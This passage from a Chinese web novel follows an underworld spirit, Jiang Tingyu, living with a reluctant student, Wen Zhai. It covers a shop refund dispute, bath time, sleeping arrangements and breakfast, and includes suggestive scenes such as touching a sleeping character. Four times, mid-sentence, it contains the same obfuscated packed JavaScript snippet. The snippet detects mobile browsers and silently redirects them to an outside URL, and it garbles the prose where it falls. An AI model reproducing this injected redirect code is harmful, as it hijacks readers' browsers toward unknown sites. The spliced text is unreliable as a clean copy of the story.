“对了,你是怎么操控它发声的?好逼真啊,就连眨眼和皮肤都看起来非常自然。” “是约的还是自己做的?一定花了不少钱吧?” “可以告诉我用了什么材料吗?或许有没有教程视频?我有机会也试着做做看。” 江听雨本来脑子就转得慢,少年的问题接二连三甩过来,还没理清上一个的意思,下一个就砸得他大脑宕机。头顶仿佛绕了一圈挥散不去的问号,连带着少年在他眼里都像是中了电脑病毒,变成一个巨大的红色问号。 他好想说“你慢一点问”,但对方连这个插话的机会都没有给他。 少年还有很多想问的,只是没等到江听雨的回答,他的手机就先响了起来,可惜道:“啊,我朋友找我了,我得先走了。” “对了。”少年走出一段距离后又停下来,转过身,伸出双手对他竖起大拇指:“老师你cos得很好哦!” 啊?他扣死得很好? ⊙.⊙??? 江听雨站在原地挠了挠脸,缓慢地加载重启进度条,直至对方彻底消失在视野内,才后知后觉发现问题。 这里不是冥界,是不能随意拆解肢体的。听说凡人都很怕鬼,可为什么刚刚那个人不怕他? ……好勇敢的人。 - 闻翟整个白天都没有回校外的房子。 祁萧说在他身上闻到了香味,但他不喷香水,心想大概是早上和江听雨接触时不小心沾上的,回到实验室后多往身上喷了些酒精。 终于做出满意的实验结果已经是晚上八点。 “辛苦了师弟,我看你好像还没吃晚饭,今天就早点回去吧。”师姐说:“你才本科,不用给自己那么大压力,重点在学习实验流程和仪器操作。” 闻翟微微点头:“好。”脱下一次性橡胶手套和身上的实验服。 食堂这个点已经关门了,闻翟又不太想去校外的店里吃饭,趁着这个机会到超市买了一些食材。 刚出电梯口,就看到有人背对着他站在家门口,手指在电子锁上戳戳点点,不时引起机器的错误提示,不知道的还以为是准备入室抢劫,却因为刚上任第一天而不熟练业务的新手。 当然,就算知道他是谁,闻翟的脸色也没有多好看。 “你是怎么进来的?”闻翟问。这栋楼的底下有门禁,除非扫脸或者刷卡,否则进不来。 江听雨听见身后突然发出的动静,吓了一跳,随后缓缓转过身来,指着一旁的窗户,如实说:“从这里进来的。” “……”闻翟用你当我是傻子吗的神情看着他,提醒:“这里是二十一楼。” “我知道。”江听雨解释道:“就是因为太高了,所以我才飞进来的。” 他最初是想像昨晚那样直接飞进卧室,但这回窗户却关得死死的,光球形态下本就力气小,怎么都推不开,于是只好先从楼梯间的窗户进来尝试开门了。结果试了两三个小时都没有成功,中途还被隔壁邻居问是不是忘记带钥匙了,说可以帮忙联系开锁。 但他觉得让别人来开锁的话,事件的性质就变了,便婉拒了对方的好意,决定实在不行的话可以等闻翟回来,然后就一直等到了天黑。 闻翟无从知晓自己的房子差点叫开锁师傅撬了,更没有相信江听雨张嘴就来的谎话。 “我早上不是说了别再跟着我?” “可是我饿了。” “我白天给了你两百块钱。” “我买了水。” 闻翟薄薄的眼皮下眸色暗沉:“什么水要两百?” 江听雨将放在角落的水瓶拿起来给他看,里面的水还剩下二分之一,表面缠着一圈塑料标签,写着“老农山泉”几个大字。 闻翟无言片刻,还是给他气笑了:“所以两块钱的水你给出去两百?” 江听雨眨了眨眼,没听懂他的意思。 冥界的货币与人间不同,就算江听雨千年前曾到过一次人间,那会的货币也不是现在这样印有人物和花纹的纸钱。他只是觉得买东西要给钱,听老板说要两块钱,有个“两”字,就两张都给了出去。 闻翟已经确定江听雨就是脑子不正常,但卖水的老板不可能连两百块和两块钱都能搞混。他深吸一口气平复心情,问:“在哪家店买的水?” 江听雨从他的表情里品出不对劲,悻悻然道:“没注意看名字。” “位置呢?” 这个江听雨倒是还记得,“就在一条街上,前面种了好多花……” 闻翟没听他描述完,开门放下手里的菜,打断道:“跟我下去。” 江听雨只好止住了话头:“哦。”又和他坐电梯下楼。 那瓶水是江听雨吃完早餐回来路上买的,并不难找到,现在还开着门营业。 “就是这家。” “水给我。”闻翟说,“你也跟我一起进去。” 进店后,闻翟先快速扫视一圈天花板和收营台,才将水拿出来,开始跟老板进行交涉:“你好,他今天下午在您这买了一瓶水,但误将两百错当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380432|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成了两块钱支付,还麻烦退还一下差价。” 老板放下翘着的二郎腿站起来,眼珠子滴溜溜转了一圈,说:“什么两百?我今天可没收过。” 江听雨付的是现金,哪怕想查转账记录都不行。老板就是抓中这一点,挺直了腰杆继续说:“我看你们像上过学的样子,老师肯定教过凡事都要讲证据,不能乱冤枉人。你们现在离开的话我还能不计较,不然就别怪我找警察喊你们家长了。” 江听雨听他居然反咬一口,刚想出声对峙,却被闻翟拦了下来,摇头示意他别说话,自己则走进店内,从货架上拿了五个标注单价为39元的插排,什么都没说,直接带着东西离开。 江听雨不理解,但见状还是跟上他。 老板的反应比两人都要慢半拍,想起对方没付钱,这才边喊边追上去:“哎小伙子,你还没付钱呢!” 闻翟停下来,面不改色地说:“什么钱?我刚才已经付过现金了。” “不信你问他。” 江听雨接收到信号,配合地点头:“嗯,我亲眼看到他给过钱了。” 闻翟将对方的话原封不动还了回去:“老板,我看你像上过学的样子,老师肯定教过凡事都要讲证据,不能乱冤枉人。” “我有人证,你有转账记录可以证明我没给钱吗?” 老板被他二人的一唱一和气得目眦欲裂。都没有给钱,那里来的转账记录啊! 但很快想起什么,忙道:“我这里可是有监控的,二十四小时运转,你付没付钱都拍得一清二楚!” 闻翟勾了勾唇,好像就是在等他说出这句话:“既然你说店里有监控,那么今天下午买水的事应该也记录在内。” “根据民法典规定,卖家收到规定价格之外的差价属于不当得利,必要情况下,买家可以通过起诉要求退还。如果您觉得看视频太麻烦了,我们也可以辛苦民警过来一趟协助处理。” 老板本就心虚,一听他提到法律和起诉,顿时慌了神。重点是监控他确实没删,将江听雨从进店到结账的画面完整记录了下来。 敢情是在这等着他呢! 老板一面懊悔自己居然没想起来,一面变了脸色和说辞:“那什么,不用看监控,我想起来了。这位小同学下午确实来过我店里,我今天太忙不小心记错了钱。” “大家都挺不容易的,就别闹大了浪费时间。这样吧,我把钱退给他,你将插排还给我怎么样?” 老板已经主动给了台阶下,闻翟也确实不想浪费时间,同意了他的解决方法,一手还商品,一手退钱。 江听雨拿回了那198块钱,心说闻翟还挺厉害的,要换了他,如果老板拒不承认,他会直接使用法术,就是有点得不偿失而已。 “无论是线上还是线下,谨慎消费才是避免问题的最好办法。”闻翟看了他一眼,说:“不是所有商店都会安装监控,维权的成本也比你给出去的那两百块钱更高。” 言外之意,他们这次只是运气好而已,但凡店内没装监控,或者老板偷偷删了,他们都未必能要回这笔钱。 而且他也有赌的成分在里面,赌监控是正常开着的。 江听雨同样听出了他对自己的提醒,说:“我下次会注意的。” 闻翟“嗯”了一声,事情解决转身离开,结果几秒后,江听雨跟了上来,也不说什么,就安安静静地和他保持着一米左右的距离。 过完这个马路,闻翟没有任何预兆地停了下来。 江听雨差点撞上去,紧接着就听到对方低沉的声音从头顶传来:“你还要继续跟着我回去?” 5. 红烧排骨 要想骗过别人,就得先骗过自己。江听雨不记得是谁教他的了,但已经成功掌握精髓,一脸正色地说:“嗯,我需要你,而且宝宝也不能没有父亲。” 闻翟当即否定:“我不是你孩子的父亲,你找错人了。” 江听雨脸上闪过一丝惊讶,连忙用双手抱住了肚子,说:“宝宝别听,爹爹不是真的不想要你,只是因为我做错了事在说气话。” “……”闻翟条件反射要跟他讲生物科学,但想起没用后又生生止住,叹了口气,听不出是无奈还是气愤更多。 “你难道就没有父母或者其他朋友吗?我借你手机,打电话给他们接你回去,总比缠着我一个陌生人要好。” “父母或者其他朋友……”江听雨重复了一遍,低下头去看脚尖似乎陷入思考,他的睫毛又密又长,刚好遮住那双浅褐色的眼睛。 他是在冥界的黄泉里出生的,天地孕育,黄泉水为身。所以准确来说他没有父母,至于朋友,也都在冥界那边。 “我从小就没有父母,在这里也没有朋友。”江听雨笃定地说完,一阵风迎面吹了过来,卷着几颗细小的沙砾进入他的眼睛。 他不舒服地眨了两下,眼眶立刻有了泪水,接着又抬手去揉,眼周都被他揉得红红的。 原来江听雨是孤儿…… 闻翟的良心莫名疼了一下,可能是因为无意戳及对方的痛处,也可能是将人弄哭了。 他安慰人的经验微乎其微,酝酿半晌,干巴巴地开口:“就今天一晚。”算作他弄哭江听雨的补偿,等明天再带江听雨去派出所。 再回到家时已经快十点,一个没吃晚饭,一个只吃了早饭。 闻翟让他换好鞋后去沙发上坐着,自己则拿起桌面上的菜进了厨房,考虑到已经很晚了,没做什么复杂的菜式,搭配鸡蛋、青菜,炒了两碗粉利端出来。 江听雨在客厅就已经闻到香味了,但闻翟只说让他在沙发上坐着,怕乱动会又像早上那样被扔出去,一直等到对方喊他过去吃饭才起身。 “先洗手,旁边的架子上有擦手毛巾。”闻翟说。 “哦。”江听雨进入厨房,摸索了半天才找到水龙头,但由于没有使用经验,直接拧到了最大限度,水已经不能用“流”来形容,而是“喷”更贴切些。站在旁边的他被溅了一身,衣服前湿了大片,映出底下清瘦的身体。 “发什么呆?”闻翟听见声音不对,进来给他将水调小了,说:“水开这么大是准备把厨房一块洗了?” 江听雨没说话,心想这个世界变化好大,连用水都这么高级了,不知道带到冥界能不能用。 当然,最重要的还是他得尽快适应这里的生活才行。修补神魂不是一朝一夕就能实现的,应该要在这边待上好一阵子,总是出错等同于增加闻翟赶他走的理由。 “吃饭,一会洗澡的时候再换衣服。” “好。” 擦干手上的水迹,江听雨坐到桌前吃饭。 闻翟发现江听雨虽然脑子笨,做事也笨,吃饭倒是挺规矩的,坐得板正,即便很饿的情况也没有那种狼吞虎咽的俗气,反而斯斯文文,细嚼慢咽,等上一口完全咽下去才会去夹下一口,却并不显得矫揉造作,像是一种刻入骨子里的教养,挑不出毛病。 就是他的嘴巴有点小,看起来没法一次性吃进去太大的东西。 江听雨身上不同寻常的疑点实在太多,闻翟如今也不敢轻易下结论他究竟是什么身份,反正等明天交给警察来处理,这些都与他无关了。 吃完饭,闻翟给他找了一套睡衣,依然是没有配内裤。 江听雨看到又是短款衣服,苦恼地问:“没有长的吗?”他不太喜欢胳膊和腿露在外面。 虽然按照人间的四季,现在还属于夏天的范畴内,日均温在三十度以上,但鬼的体质和凡人不一样。 他们身上阴气很重,所以是不怕热的,三四十度的温度对于他们来说根本不算什么,反倒是更加讨厌冷。 闻翟的衣柜里当然有长款睡衣,但江听雨比他矮了快一个头,真给他长袖长裤的话,就跟偷穿大人衣服的小孩差不多,肯定裤腿都是拖在地上的。 他家还不缺拖把。 “没有。”闻翟说:“不想穿的话你也可以继续像早上那样。” 江听雨撇了撇嘴无声控诉。他早上是为了留下来才那样的,又不是真的喜欢当暴露狂。 而且他知道闻翟在骗他,昨晚上钻衣柜的时候明明就看到了很多长款衣服,就连闻翟身上此刻穿的也是。 小气,等他以后有了衣服也不要给闻翟穿。 有了厨房水龙头的经验教训,江听雨这次再动花洒开关时格外小心,但他很快就发现了二者的不同,花洒开关是向上抬一下才能出水,出来的水温度却很低,根本达不到他洗澡的要求。 无法之下去到卧室找闻翟,说:“那个花洒我不太会弄,出来的水都好冰。” 闻翟跟着他进去,边上手操作边讲解:“花洒往上抬是调节出水量,往左转出来的是热水,右转出来的冷水,哪边转得越多,温度就更偏向哪边。” “听懂了吗?”他说完,一回头,就发现江听雨已经在他身后脱了个精光,及腰的长发披散下来,起不到半点遮挡的作用,反倒点缀了他白得晃眼的身体。 闻翟视线不自觉扫过他的小腹,旋即冷下脸,说:“你随便对着一个陌生人都能脱衣服?” 江听雨不明白他怎么突然变了脸色,更没听出他语气里的讽意,歪了下头,说:“可是不脱衣服怎么洗澡?” “还是我要等你先脱了才能脱?” 闻翟下颚线绷紧,没答,出了浴室进入卧室,抓起遥控器直接将空调温度开到了最低档。 江听雨看着被重重关上的玻璃门,头顶飘过一连串问号,并未细究太久,按照刚刚学来的方法顺利调好水温。 哗啦啦的热水从上方浇下来,砸得昂首挺胸的几根呆毛瞬间蔫掉,他干脆连头一块洗了。 站在出风口下吹了足足十分钟,确定从身到心都冷得坚不可摧,闻翟将空调温度重新调了回去,去厨房洗今晚吃饭产生的碗筷,见江听雨还没出来,又拖了个地。 经过浴室门口时,沐浴露的芬芳裹着股淡淡的冷香往他身上缠,抬眼,江听雨的身影在一门之后若隐若现。 放下拖把,闻翟又去吹了五分钟空调,江听雨终于洗好,他拿着睡衣上前,准备无缝接替浴室的位置。 谁知一推开门,满室的白雾就先冲了出来,顷刻间将他吞没,过去数十秒,眼前才缓缓恢复清明。 闻翟额角的青筋突突跳了两下,尾音都拔高几个度:“你究竟是在里面洗澡还是炼丹?” 江听雨顶着一头湿漉漉的长发,热气蒸过的身子泛着粉红,有问必答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380433|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“当然是洗澡啊,我又不是天上的神仙,不会炼丹,你如果想要丹药的话得找太上老君他们,我最多帮你算一下几时死。” “……”闻翟闭了闭眼深吸一口气,还是进了浴室。 - 等闻翟洗完澡出来,江听雨还在滴水。 他坐在沙发上,一张从门缝里塞进来的宣传单看得津津有味,发梢的水珠豆大一颗往下掉,身上衣服湿了都没反应,更别说他周围一圈区域洇出的深痕。 闻翟开始后悔收留他的决定,但事已至此,也只能说:“别坐在那边给沙发浇水了,过来吹头发。” 江听雨“哦”了一声起身,本是将宣传单放到茶几上,打算一会回来再接着看,但走出几步想起闻翟的小气,可能会跟他抢宣传单,又退回去,将其折叠整齐收进了口袋里。 闻翟目睹他的动作,太阳穴跳得更厉害了,取出吹风机后不再像花洒那样教他使用,插好电亲自上手给他吹,就是不允许他自己来。 “……你别这样摸我,不舒服。”没一会江听雨说,吹风机发出的声音很大,他讲了两遍闻翟才听到其中一句。 “那要怎么摸你?”闻翟问。 江听雨凌乱地站在开到最高档的风口前,重复第三遍:“你轻一点,慢一点,不然我的头发全都要被你弄打结了。” 闻翟没说什么,但手下动作确实温柔了许多,有意避免热风直吹头皮。 不知道江听雨之前是怎么护理的,发质很好,不见分叉和枯黄,从头顶到末端都是统一的乌黑。 重点是他居然不掉发。正常人每次洗头都会掉50-100根头发,他却一根都没有掉下来,就算是黏上去的假发也做不到这种程度。 要说缺点,也有,头发又长又厚的,吹了快十五分钟才有要干的迹象。 闻翟没养过动物,因为重度洁癖也没在外面摸过猫狗,但如果非要让他用一个词来形容江听雨头发的手感,他第一个想到的是刚洗吹好的萨摩耶,毛发蓬松柔软,干净的暖香扑面而来。 “吹干了吧?”江听雨可以通过面前的镜子看见自己头发的情况,提醒道:“已经没有水了。” 闻翟若无其事地从他发间抽出手,一缕发丝从他指尖滑下去,带来一阵细微的痒意。 “后背的衣服还没干。”他这样说,反正手上都已经沾满了江听雨体表的细菌,干脆从他睡衣下摆伸了进去,置于他的脊背和衣服之间。 江听雨没在意他的行为,闻言只能继续等,中途打了三四个哈欠,困得不停点头打瞌睡。当闻翟关掉吹风机,周围安静下来,他再也撑不住,几乎是上下眼皮一碰就秒睡过去,身体往后倒进了闻翟怀里。 闻翟恍了神,通过镜子观察着江听雨那张放松的脸,最后还是抬手揽住他的胳膊,将他抱到了卧室的床上放下。 江听雨的睡裤只到大腿中央,在闻翟那里的紧身款到他这就变成了宽松版,又没穿内裤,翻个身的功夫,半边白嫩的圆滚就露了出来,赤裸裸对着身后的青年,丝毫没有对陌生人应有的防备心。 该夸他心大还是说他疏于防范? 闻翟心想,这个世界上不是所有人都是好人,也不是所有人都会像他这样正直。 下一秒,闻翟的手出现在了他屁股后。 江听雨身上为数不多的肉好像都长在了这处,软乎乎的,臀形线条宛如一轮弯月。 6. 剁椒鱼头 洁癖症的附属症状是强迫症,闻翟本来只打算给江听雨将睡裤扯下来的,不料对方倏然去抱被子,抬腿时将他的手给夹了进去。 江听雨身上偏凉,腿心的温度相对高一点。闻翟的手在他腿间,像是被两片柔软的白面馒头夹着,第一次试着抽回来没成功。 不知碰到了对方哪里,引得江听雨抖了两下,无意识地“唔”了一声,喊:“冷……” 冷? 外面现在最低三十多度,就算房间里开了空调,二十六度也绝对称不上“冷”。 在梦里还习惯性说谎。 空调遥控器就在床头柜上,站在床边也伸手能拿到。闻翟关掉了空调,但房间里的冷气一时还没那么容易散去,江听雨挪着屁股,又往身后的热源靠近了点。 这次连手腕一起夹了进去。 闻翟的眸色很暗,脸上却看不出情绪。少顷,他扯过被子将人裹起来,利落且用力地抽出了手,从卧室退出去,到书房用酒精消毒,然后在桌前做了一整套包括听力在内的英语考研试卷。 他的固定休息时间是十一点半,今天晚了二十分钟。江听雨喊冷,他却嫌热,将书房的风扇搬到客厅,在沙发上躺下。 啪嗒,闻翟按灭了房内的灯,徒留稀薄光线从未拉窗帘的窗口泄进来。 他的睡眠质量很差,睡得也不深,一般有点动静很快就能醒来,十岁以前经常半夜惊醒,一度出现神经衰弱。 有老一辈说他是无意间冲撞了邪祟,于是父母没少带他到各种庙宇烧香拜佛,祈求健康平安。直至长大,科学意识开始渗透并加固,他才习惯了那些噩梦的存在,醒了便转个身,闭上眼继续休息。 有时不一定能再次睡着,可能就这么闭着眼却仍然意识清醒地到天亮。 闻翟已经做好了今晚上彻夜难眠的准备,谁知事实却出乎他的意料,睡得比过去二十一年的任何一晚都要好。 没有做梦,只恍惚感到鼻尖有股淡香萦绕,如沐春风,令人心安。 - 平底锅上,新鲜鸡蛋和培根发出“滋滋”声响,透明的蛋清逐渐变得乳白,蛋黄如同小太阳,散发出诱人的光泽。铲子翻动,香气在厨房里弥漫开来,悄悄钻进了卧室。 江听雨是馋醒的,他没去想自己是怎么到床上来的,只是这一觉睡得没有昨晚舒服,太冷了,被子盖在身上还是觉得不够。 洗漱完,江听雨和他说了这件事:“你的床不是灵兽皮毛做的,也没有法力保温,一个人睡在上面好冷。” “我以后晚上能不能和你一起睡?你身上就很暖和。” 闻翟端碗的手险些打滑,蹙着眉看向他,试图从他脸上确认这话的真实性。可惜对方说谎成性,在演戏方面肯定十分老练了,以至于他什么都没看出来。 他没说“好”或是“不好”,只喊趁热吃早餐。因为不会再有第二次了,他今天就会带江听雨到附近派出所。 早餐是一碗面条,和江听雨昨天在早餐店里吃的很像,但多了培根,两者的味道也大不相同。 他在吃的方面向来不挑,基本上给什么吃什么,阎爷爷曾打趣说他很好养活,怕是从黄泉边薅几株野草也能吃得不亦乐乎。 但他还是分得清什么是“好吃”,什么是“能吃”的。比如冥界的东西大都不好吃,人间的他到现在还没有吃到不好吃的。 江听雨在桌前坐下,信誓旦旦说:“你放心,我不白吃白喝你的。” 闻翟关掉油烟机,摘下围裙,顺便从消毒碗柜里拿了两双筷子出来,其中一双递给他:“你能帮我做什么?” “额……”这一下着实给江听雨问住了,他挠了挠脸,还没想好。 闻翟也没指望他真能说出什么来,在对面坐下。 两人在吃饭上有一点很像:都很安静,一般不会主动开口聊天,遵守“食不语”。 江听雨还在想他刚才那个问题,表现得有些心不在焉,吃了没几口,他就突然顿住了,五官皱缩在一起,似乎吃到了某种非常难吃的东西。 他想吐出来,但碍于学到的规矩不能那么做,可要他咽下去,他也同样做不到,朝对面投去求助的目光,急得像是下一秒就能哭出来。 闻翟看出不对劲,抽了两张餐巾纸给他:“吐在上面。” 江听雨忙接过,包好后扔进垃圾桶里,又喝了半杯水才稍微好点。 活了两千年,第一样不爱吃的东西出现了。他不知道这个叫什么,用筷子夹起来问闻翟:“这个绿色的是什么?一点都不好吃……” 闻翟看了眼便心下了解。 世界上约15%的人存在嗅觉受体基因变异,会对香菜中的醛类化合物异常敏感,闻到类似肥皂或者泥土的气味,从而无法接受香菜。 江听雨应该就属于那部分人群。 “香菜。要是不喜欢吃的话,今后记得……”闻翟说到一半顿了顿,“提前和别人说,这样就不会加在里面了。” 江听雨点头,“那这里面的我可以挑出来吗?” 闻翟直接拿过他的碗筷,帮他全部挑了出来。 毕竟是他加进去的。 幸好香菜是在准备出锅时加的,味道没有融进汤和面里,江听雨将剩下的全部都吃干净,心满意足地摸着撑得圆润的肚皮,霍然想起什么,笑说:“我知道可以帮你做什么了。” 他在闻翟看过来时公布答案:“帮你生个孩子。” “……”空气中开始凝结起微妙的气氛,闻翟放下筷子:“我谢谢你?” 江听雨没听出其中的真正含义,摆了摆手:“不用谢。” 闻翟又是一阵沉默,朝他走近,不容拒绝道:“衣服撩起来。” 他本来就长的很高,离得近了,坐在椅子上的江听雨需要仰起头才能看到他的脸和下巴,见对方神色认真,尽管不明所以,还是捏住衣角将衣服撩了上去。 “好了。”江听雨说,眼眸澄澈,很乖的样子。 “再撩上去点,自己扶好。” 江听雨便又往上移了些, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380434|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次连胸口都露出来一半,询问他:“这次呢?再多的话我就得脱衣服了。” 闻翟其实也没想要他撩那么多,只要露出肚子就行,但视线掠过那在白皙肤色上格外显眼的两点粉红,到嘴边的话变成:“可以了。” 江听雨松了口气,觉得不为难他的闻翟兴许是个好人。 为什么是“兴许”? 因为闻翟是一千年前那个人的转世,曾害得他神魂四分五裂,在轮回之境中沉睡许久。 但人间有句话叫做“不知者不罪”,所以哪怕确定闻翟和对方有着同一个灵魂,江听雨还是选择将他们作为两个独立体来看待,战神是坏人,闻翟却不一定。 不过要是哪天闻翟恢复了记忆和神位,他肯定要报仇的,起码对方得为千年前的事情向他说一声“对不起”才行,不然他就往战神每日喝的水里下痒痒粉,让他笑得再也提不动剑。 江听雨在这边规划着日后宏伟的复仇大计,另一边闻翟已经蹲下身,掌心覆到他的肚子上。 按理来说,鬼都是没有体温和心跳的,但江听雨生来便是冥神继承人,在许多方面更趋近人一点,他有正常的心跳和呼吸,唯独体表温度偏低些。 闻翟的手心对他来说显得有点烫,江听雨下意识往后躲,却被对方的另一只手拦住了腰。 闻翟的手指很长,骨节分明,覆盖住他整个肚子,微微往下压,不冷不淡地开口:“我们的孩子是面条、鸡蛋和培根?” 江听雨捏着衣服的手绞紧,像是快维持不住了,手肘在细微打颤。他放下来一只,想去推开闻翟的手臂,很快就被对方警告:“抓好衣服。” 只能悻悻然收了回去,哀求地说:“不要、不要按。”他刚吃饱。 “宝宝会被你按死的。” “你都会给我生孩子了,宝宝哪有那么容易受伤。”闻翟说,按在他肚子上的手虽然没再加大力道,但也没有移开,这也使得江听雨必须维持捏着衣服的动作。 “这么娇气,真正临产的那一天怎么办?” 江听雨抿紧下唇没答,双手却抖得更厉害了,有酸了快坚持不住的缘故,也有紧张的成分在里面。 他现在就要改掉刚才的想法,闻翟不是好人,他也是个坏人。 没错,闻翟就是故意这样做的,为了告诫江听雨别动不动就搬出要给他生孩子这样的话,但出乎意料的是,还没来得及让江听雨承诺今后注意言行,一滴泪就先砸到了他手背上。 江听雨眼周红红的,其实也没想到自己会落泪。他没有很想哭的冲动,但大概因为他的本体是黄泉水,所以受到刺激时就更加容易出水吧。 以前在冥界,有东西不小心蹭到他的腿,他也掉眼泪,完全是一种不受情绪控制的先天性行为。 闻翟看着那滴泪珠在他手背快速向下滚落,拖出长长一条泪痕,瞳孔微缩,像是猛然反应过来自己在做什么,收回手站起身。 他觉得自己要么是疯了,要么是魔怔了,欺负一个傻子算什么本事。 7. 虎皮青椒 闻翟有一节早八的课,要上完课才能带江听雨去派出所,让他先在家里等一会,并限制了他的活动范围。 “家里的地方你都可以去,唯独书房不行。” 江听雨也没有窥探别人隐私的习惯,点头说“好”。不过他一个人在家很无聊,心想闻翟只说了不让他进书房,没说不许他出去。在闻翟离开的半小时后,他依据乘坐过两次电梯的经验,独自用正常人的方式到了楼下。 怕闻翟回来找不到他,他没有去太远的地方,就在小区内转悠,转累了就坐在石椅上休息,遇见三名打扮潮流、刚晨练完回来的阿姨。 她们正好也过来休息,看见他在旁边,猜测是同小区的住户,很自来熟地和他搭话,带他一块加入唠嗑,简单几句话下来,还分给他东西吃。 江听雨受宠若惊,没有什么可以回赠的,但又实在抵抗不了边聊天边磕瓜子的诱惑,只能说“谢谢”,然后被她们喊了过去坐在中间。 聊到最后,他几乎成了阿姨们“群起围攻”的对象,十句话里有九句都是在问他,另外一句则是喊他别光顾着嗑瓜子,还有小蛋糕可以吃。 江听雨不是个可以一心多用的鬼,几道程序同时启动,嘴里又要吃又要回答问题,开始逐渐濒临死机边缘。 o_O 闻翟一下课就收拾东西离开教室。 祁萧看到他往校外走的身影,不禁纳闷他今天是不是转了性子,居然没有去实验室。 要知道,在别人还在享受终于熬过高考的快乐大一时,闻翟这个非人的家伙就已经明确好了今后的奋斗目标,提前找到校内进行相关研究的老师,申请利用课余时间跟随学习,比同届早了一年时间进入实验室。 大二的时候还参加了“大学生创新创业”、“生命科学竞赛”、“全国大学生英语竞赛”等各种比赛,精力好到可以立地成佛。 从学校到租房的这段路闻翟不是第一次走,但今天不知为何,他竟然希望这段路能够变得长一些。将脚步放慢了,也仅仅比平时多出三分钟就抵达居民小区。 闻翟没有上单元楼,因为他在楼下看到了江听雨的身影。 他板正地坐在石椅上,手里拿着一块无奶油小蛋糕,刚低下头想吃一口,听见什么,又止住,动动嘴巴像在回答问题,半天都没能顺利吃上一口蛋糕。 今天的气温依旧很高,周围三名阿姨快速煽动着手上的蒲扇,脸颊绯红,热浪蒸出来的汗水止不住往下淌。在场唯一披散着头发的江听雨却一滴汗都没有流,看上去很是清爽。 闻翟就站在他们斜对面,这个角度刚好将江听雨的每一个动作包括神情看得一清二楚。 看到他眼巴巴盯着手里的小蛋糕,仿佛一只面前吊了根肉骨头却怎么都吃不上的小狗,可怜见的。 他没立刻上前去叫走江听雨,甚至开始好奇,想知道江听雨什么时候才能吃上一口蛋糕。 他觉得这份好奇心挺莫名其妙,也挺没有意义的,可事实是,他的双腿驻留在原地,视线挪不开地落在江听雨身上,好似只能看得到他。 两分钟后,不知道那边聊到什么,纷纷笑了起来,三名阿姨的笑声最明显,有捂着合不拢的嘴的,也有捂着肚子的。 江听雨开始也跟着笑,后面似乎发现这是一个绝妙的好时机,迅速低下头,手和嘴相互配合,成功吃到香奶味十足的小蛋糕。面部肌肉随着咀嚼小幅度动着,眼眸弯弯,犹如生出粼粼波光。 闻翟本想等到他吃上第一口蛋糕就过去,此刻更加移不开眼、走不动道了。 “小雨要喝点水吗?”其中一名阿姨说,看见江听雨吃完小蛋糕,从包里掏出一瓶未开封过的矿泉水:“我早上出门忘带水杯,就在超市买了两瓶,现在还剩一瓶没喝过。” 小蛋糕是阿姨们报了个烘焙班学做的,很好吃,瓜子是阿姨们为了打发时间特意买的,焦糖味,同样很好吃。 阿姨们瞧见他那么爱吃自己做的东西,都非常高兴,仿佛找到了品尝的知音,逗他有没有吃出这些小蛋糕出自不同的三人之手。 江云雨点了点头,说吃出来了。 三款小蛋糕是混装在一起的,种类相同,配方相同,但到了实际制作时,因个人的操作而存在细微差异。 “这个更甜一点,这个奶香更浓,这个吃起来更软。”到了吃的方面,江听雨很快就能给出回答,只说优点不提缺点。 三名阿姨没想到他居然真吃出来了,连她们自己都快分不清哪些是自己的,但一看纸杯下面的记号,江听雨确实吃出了不同的三款。 江听雨的长相本来就比较中性,说话不紧不慢,有喉结却不突出,又留着一头长发,只要他不主动解释自己的性别,光从外形上来看,认错成女孩子的大有人在。 就比如这三名热情的阿姨,从未见过如此秀气干净的脸蛋,皮肤还好,见到他第一眼便误会成了女孩,跟他聊了一会后更是喜爱有加。 不过江听雨不知道这一点,要不然他肯定会解释一下的。 树上的蝉虫扯着嗓子疯狂嘶鸣,空气里到处弥漫着一股令人窒息的闷热。 闻翟被太阳晒到了半边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380435|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 